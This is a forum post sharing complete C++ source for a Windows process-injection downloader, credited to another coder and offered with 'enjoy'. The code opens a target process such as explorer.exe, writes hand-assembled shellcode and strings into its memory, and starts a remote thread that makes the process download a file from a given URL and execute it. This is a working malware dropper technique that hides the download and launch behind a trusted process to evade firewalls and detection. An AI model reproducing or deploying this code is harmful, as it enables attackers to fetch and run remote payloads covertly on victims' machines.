Author Topic: Download/execute file in remote process  (Read 998 times)

0 Members and 1 Guest are viewing this topic.

xC

  • Guest
Download/execute file in remote process
« on: June 18, 2013, 04:20:30 am »
Another code from a59, enjoy.

Code: [Select]
/*
   Downloader
   Makes a process download a specific file


   Notes
      -> Allocates two memory regions in the external process
         a) Space for four strings (and the null termination bytes)
            -> "URLMON.DLL"
            -> "open"
            -> The URL to download from
            -> The path to save to


         b) The calls to neccecary functions to download and execute the file


      -> Builds and writes the specific instructions to download and execute the file
      -> Creates a thread starting at the address of the allocated memory
      -> Free's memory once download is done and executed


   Usage example
      CExternalDownload* Download = new CExternalDownload( );
      Download->InitDownload( );
      Download->DownloadFileFromProcess( Download->GetProcessPID( "explorer.exe" ),
                                 "http://www.site.com/file.txt",
                                 "c:\\file.txt" );
      delete Download;


   Resulting ASM in external process once written
      PUSH 0DD0000                             ; ASCII "URLMON.DLL"
      CALL kernel32.LoadLibraryA
      PUSH 0
      PUSH 0
      PUSH 0DD002D                             ; ASCII "c:\file.exe"
      PUSH 0DD0010                             ; ASCII "http://www.site.com/file.exe"
      PUSH 0
      CALL URLMON.URLDownloadToFileA
      PUSH 5
      PUSH 0
      PUSH 0
      PUSH 0DD002D                             ; ASCII "c:\file.exe"
      PUSH 0DD000B                             ; ASCII "open"
      PUSH 0
      CALL SHELL32.ShellExecuteA
      RETN


   Coded by a59
   06/06/08
*/
#include <iostream>
#include <windows.h>
#include <tlhelp32.h>


struct SNeededCalls
{
   unsigned long LoadLibraryC;
   unsigned long DownloadFileC;
   unsigned long ShellExecuteC;
}NeededCalls;


class CExternalDownload
{
public:
   // (Con/de)structors
   CExternalDownload( );
   ~CExternalDownload( );
   // Initialization
   bool InitDownload( );
   // Add data to calls buffer
   void AddByte( unsigned char Byte );
   void AddWord( unsigned short Word );
   void AddDword( unsigned long Dword );
   // Add ASM instructions to calls buffer
   void Push( unsigned long Data );
   void Call( unsigned long Function );
   void WriteRetn( );
   // Writes Functions in allocated space
   void WriteLoadLibrary( char* szFile );
   void WriteURLDownloadToFile( char* szUrl, char* szPath );
   void WriteShellExecute( char* Operation, char* FileName, char* Parameters, int IsShown );
   // Calculate and build each buffer
   void BuildCallBuffer( int UrlLength );
   void BuildStringBuffer( char* szUrl, char* szPath );
   // Download
   bool DownloadFileFromProcess( unsigned long Pid, char* szUrl, char* szPath );
   // Get PID
   unsigned long GetProcessPID( char* szFile );
protected:
   unsigned char Calls[ 128 ];
   char StringsAligned[ 512 ];
   unsigned long MyStrings, MyCalls;
   int CallSize, StringSize;
   bool Initialized;
   SNeededCalls NeededCalls;
};


CExternalDownload::CExternalDownload( )
{
   CallSize = 0;
   Initialized = false;


   ZeroMemory( Calls, 128 );   
   ZeroMemory( StringsAligned, 512 );
};


CExternalDownload::~CExternalDownload( )
{
};


bool CExternalDownload::InitDownload( )
{
   HMODULE Kernel32, Urlmon, Shell32;


   Kernel32 = GetModuleHandle( "KERNEL32.DLL" );
   Urlmon = LoadLibrary( "URLMON.DLL" );
   Shell32 = LoadLibrary( "SHELL32.DLL" );


   NeededCalls.LoadLibraryC = (unsigned long)GetProcAddress( Kernel32, "LoadLibraryA" );
   NeededCalls.DownloadFileC = (unsigned long)GetProcAddress( Urlmon, "URLDownloadToFileA" );
   NeededCalls.ShellExecuteC = (unsigned long)GetProcAddress( Shell32, "ShellExecuteA" );


   if( !NeededCalls.LoadLibraryC || !NeededCalls.DownloadFileC || !NeededCalls.ShellExecuteC )
      return false;


   Initialized = true;


   return true;
};


void CExternalDownload::AddByte( unsigned char Byte )
{
   *(unsigned char *)(Calls + CallSize) = Byte;
   CallSize += 1;
};


void CExternalDownload::AddWord( unsigned short Word )
{
   *(unsigned short *)(Calls + CallSize) = Word;
   CallSize += 2;
};


void CExternalDownload::AddDword( unsigned long Dword )
{
   *(unsigned long *)(Calls + CallSize) = Dword;
   CallSize += 4;
};


void CExternalDownload::Push( unsigned long Data )
{
   if( Data <= 0xFF )
   {
      AddByte( 0x6A );
      AddByte( Data );
   } else {
      AddByte( 0x68 );
      AddDword( Data );
   }
};


void CExternalDownload::Call( unsigned long Function )
{
   AddByte( 0xE8 );
   AddDword( Function - ( MyCalls + CallSize - 1 ) - 5 );
};


void CExternalDownload::WriteRetn( )
{
   AddByte( 0xC3 );
};


void CExternalDownload::WriteLoadLibrary( char* szFile )
{
   Push( (unsigned long)szFile );


   Call( NeededCalls.LoadLibraryC );
};


void CExternalDownload::WriteURLDownloadToFile( char* szUrl, char* szPath )
{
   Push( 0 );
   Push( 0 );
   Push( (unsigned long)szPath );
   Push( (unsigned long)szUrl );
   Push( 0 );


   Call( NeededCalls.DownloadFileC );
};


void CExternalDownload::WriteShellExecute( char* Operation, char* FileName, char* Parameters, int IsShown )
{
   Push( IsShown );
   Push( 0 );
   Push( (unsigned long)Parameters );
   Push( (unsigned long)FileName );
   Push( (unsigned long)Operation );
   Push( 0 );


   Call( NeededCalls.ShellExecuteC );
};


void CExternalDownload::BuildCallBuffer( int UrlLength )
{
   char* szUrlmonDLL = (char *)MyStrings;
   char* szOpen = (char *)MyStrings + 11;
   char* szUrl = (char *)MyStrings + 16;
   char* szPath = (char *)MyStrings + UrlLength + 17;


   WriteLoadLibrary( szUrlmonDLL );
   WriteURLDownloadToFile( szUrl, szPath );
   WriteShellExecute( szOpen, szPath, 0, SW_SHOW );
   WriteRetn( );
};


void CExternalDownload::BuildStringBuffer( char* szUrl, char* szPath )
{
   /* Buffer will be ZeroMemory'd before this call */
   unsigned long DllAddress = (unsigned long)StringsAligned;
   unsigned long OpenAddress = (unsigned long)StringsAligned + 11;
   unsigned long UrlAddress = (unsigned long)StringsAligned + 16;
   unsigned long PathAddress = (unsigned long)StringsAligned + 17 + strlen( szUrl );


   strcpy( (char *)DllAddress, "URLMON.DLL" );
   strcpy( (char *)OpenAddress, "open" );
   strcpy( (char *)UrlAddress, szUrl );
   strcpy( (char *)PathAddress, szPath );
};


bool CExternalDownload::DownloadFileFromProcess( unsigned long Pid, char* szUrl, char* szPath )
{
   HANDLE hProcess, ExternalThread;


   if( !Initialized )
      return false;


   if( ( hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, Pid ) ) == 0 )
      return false;
   
   StringSize = 11 + 5 + strlen( szUrl ) + strlen( szPath ) + 2;


   MyStrings = (unsigned long)VirtualAllocEx( hProcess, 0, StringSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
   MyCalls = (unsigned long)VirtualAllocEx( hProcess, 0, 75, MEM_COMMIT, PAGE_EXECUTE_READWRITE );


   if( !MyStrings || !MyCalls )
   {
      CloseHandle( hProcess );
      return false;
   }


   BuildStringBuffer( szUrl, szPath );
   BuildCallBuffer( strlen( szUrl ) );


   if( !WriteProcessMemory( hProcess, (void *)MyCalls, Calls, 75, 0 ) )
   {
      CloseHandle( hProcess );
      return false;
   }


   if( !WriteProcessMemory( hProcess, (void *)MyStrings, StringsAligned, StringSize, 0 ) )
   {
      CloseHandle( hProcess );
      return false;
   }


   ExternalThread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)MyCalls, 0, 0, 0 );


   if( !ExternalThread )
   {
      CloseHandle( hProcess );
      return false;
   }


   WaitForSingleObject( ExternalThread, INFINITE );


   VirtualFreeEx( hProcess, (void *)MyCalls, 75, MEM_DECOMMIT );
   VirtualFreeEx( hProcess, (void *)MyStrings, StringSize, MEM_DECOMMIT );


   CloseHandle( hProcess );
   return true;
};


unsigned long CExternalDownload::GetProcessPID( char* szFile )
{
   PROCESSENTRY32 pe32;
   HANDLE hProcess;


   pe32.dwSize = sizeof( PROCESSENTRY32 );


   hProcess = CreateToolhelp32Snapshot( 2, 0 );


   if( !hProcess )
      return 0;


   if( !Process32First( hProcess, &pe32 ) )
      return 0;


   do
   {
      if( stricmp( szFile, pe32.szExeFile ) == 0 )
      {
         return pe32.th32ProcessID;
      }
   }while( Process32Next( hProcess, &pe32 ) );


   return 0;
};


int main( )
{
   CExternalDownload* Download;
   char szUrl[ 512 ], szPath[ MAX_PATH ], szFile[ 128 ];
   unsigned long Pid;


   std::cout << "Enter the URL to download from: ";
   std::cin.getline( szUrl, 512 );


   std::cout << "Enter the path to save to: ";
   std::cin.getline( szPath, MAX_PATH );


   std::cout << "Enter the process to download from: ";
   std::cin.getline( szFile, 128 );


   Download = new CExternalDownload( );


   if( !Download->InitDownload( ) )
   {
      std::cout << "Error locating needed function addresses\n";
      return 0;
   }
   
   Pid = Download->GetProcessPID( szFile );


   if( Pid == 0 )
   {
      std::cout << "Process not running\n";
   } else {
      if( Download->DownloadFileFromProcess( Pid, szUrl, szPath ) )
      {
         std::cout << "Started download from " << szUrl << " to " << szPath << " as " << szFile << "(" << Pid << ")" << std::endl;
      } else {
         std::cout << "Error starting download\n";
      }
   }


   delete Download;


   return 0;
};
« Last Edit: June 18, 2013, 04:21:23 am by xC »